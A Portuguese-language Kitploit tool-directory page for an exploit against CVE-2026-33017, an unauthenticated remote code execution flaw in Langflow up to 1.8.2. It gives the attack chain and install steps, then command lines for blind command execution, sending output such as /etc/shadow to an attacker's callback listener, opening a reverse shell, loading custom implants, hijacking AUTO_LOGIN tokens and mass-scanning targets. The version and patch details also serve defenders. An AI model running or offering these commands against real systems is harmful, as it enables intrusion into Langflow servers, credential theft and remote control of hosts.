Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33017-Exploit — Exploit para CVE-2026-33017 — RCE não autenticado no Langflow <= 1.8.2 via exec() no endpoint de build de fluxo | Kitploit
Ferramentas/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

Exploit para CVE-2026-33017 — RCE não autenticado no Langflow <= 1.8.2 via exec() no endpoint de build de fluxo

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
há 4 mesesAinda não revisado
Compartilhar

CVE-2026-33017 - Langflow RCE Não Autenticado

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() sem autenticação, sem sandbox, sem esperança.

Langflow <= 1.8.2 permite execução remota de código não autenticada através do endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. Dados de fluxo fornecidos pelo atacante contendo Python arbitrário nas definições de nós são passados diretamente para exec() sem nenhum sandbox.

  • CVSS: 9.8 Crítico
  • CWE: CWE-94 (Injeção de Código), CWE-306 (Autenticação Ausente)
  • Afetados: Langflow <= 1.8.2 (incluindo 1.9.0-dev0 até dev11)
  • Corrigido: Langflow 1.9.0
  • CISA KEV: Adicionado em 2026-03-25
  • Explorado ativamente: Dentro de 20 horas após a divulgação

Cadeia de Ataque

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> código arbitrário é executado como o processo do servidor. fim de jogo.

Instalação

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Uso

Reconhecimento - verificar se o alvo é vulnerável

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

Execução de comando cego

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

Exfiltração de saída via callback GET (base64 no caminho da URL)

root@kitploit:~
# Terminal 1: iniciar listener
python3 -m http.server 8080

# Terminal 2: disparar exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# Decodifique o base64 dos logs do seu listener:
echo "dWlkPTEwMDAo..." | base64 -d

Exfiltração de saída via callback POST (saída bruta no corpo)

root@kitploit:~
# Terminal 1: iniciar listener
nc -l 8080

# Terminal 2: disparar exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# A saída bruta chega diretamente no corpo do POST - sem necessidade de decodificação

Reverse shell

root@kitploit:~
# Terminal 1: iniciar listener
nc -l 4444

# Terminal 2: disparar exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

Payload Python personalizado

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

Regras do arquivo de payload:

  • O código é executado no nível do módulo via exec() dentro de prepare_global_scope()
  • Deve usar atribuições (ex.: _x = os.popen(...).read()) porque o filtro AST só executa nós Assign, FunctionDef, ClassDef
  • Chamadas bloqueantes devem usar threading.Thread(daemon=True) para evitar matar o event loop assíncrono

Promoção automática de fluxos privados

Quando não existem fluxos PÚBLICOS, mas o AUTO_LOGIN está habilitado (padrão em muitas implantações):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

Isso sequestra o token AUTO_LOGIN, aplica PATCH no primeiro fluxo para PÚBLICO e então o explora.

Varredura em massa

Escaneie múltiplos alvos a partir de um arquivo (somente verificação de vulnerabilidade):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

Formato do targets.txt:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# comentários são ignorados

A saída mostra:

  • Detecção de versão (vulnerável / corrigido)
  • Status do AUTO_LOGIN (token gratuito = escalonamento fácil)
  • Número de fluxos públicos (prontos para exploração imediata)

Proxy através do Burp

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

Como funciona

  1. Verificação de versão - sonda /api/v1/version para identificar o alvo
  2. Descoberta de fluxos - usa AUTO_LOGIN (se habilitado) para enumerar fluxos e encontrar os PÚBLICOS
  3. Injeção de payload - cria um grafo de fluxo mínimo com um nó CustomComponent contendo Python malicioso no campo code
  4. Execução de código - envia POST para /api/v1/build_public_tmp/{flow_id}/flow com o parâmetro data manipulado. O Langflow compila o grafo, que chama create_class() -> prepare_global_scope() -> exec() no código do atacante

A correção na v1.9.0 remove o parâmetro data completamente, forçando o endpoint a usar apenas dados de fluxo armazenados no banco de dados.

Análise do patch

Referências

  • NVD - CVE-2026-33017
  • Pesquisa JFrog - análise de bypass do patch
  • Sysdig - exploração em 20 horas
  • CISA KEV
  • Commit da correção
  • Aviso do GitHub: GHSA-rvqx-wpfh-mfx7

Aviso legal

Esta ferramenta é somente para pesquisa de segurança autorizada. Use apenas contra sistemas para os quais você tenha permissão explícita de teste. O autor não é responsável pelo uso indevido.

Baixar ferramenta
Versão
Status
<= 1.8.1Vulnerável
1.8.2Correção alegada no changelog, mas o código nunca foi alterado (confirmado pela JFrog)
1.9.0-dev0 até dev11Ainda vulnerável
1.9.0Realmente corrigido - parâmetro data removido do endpoint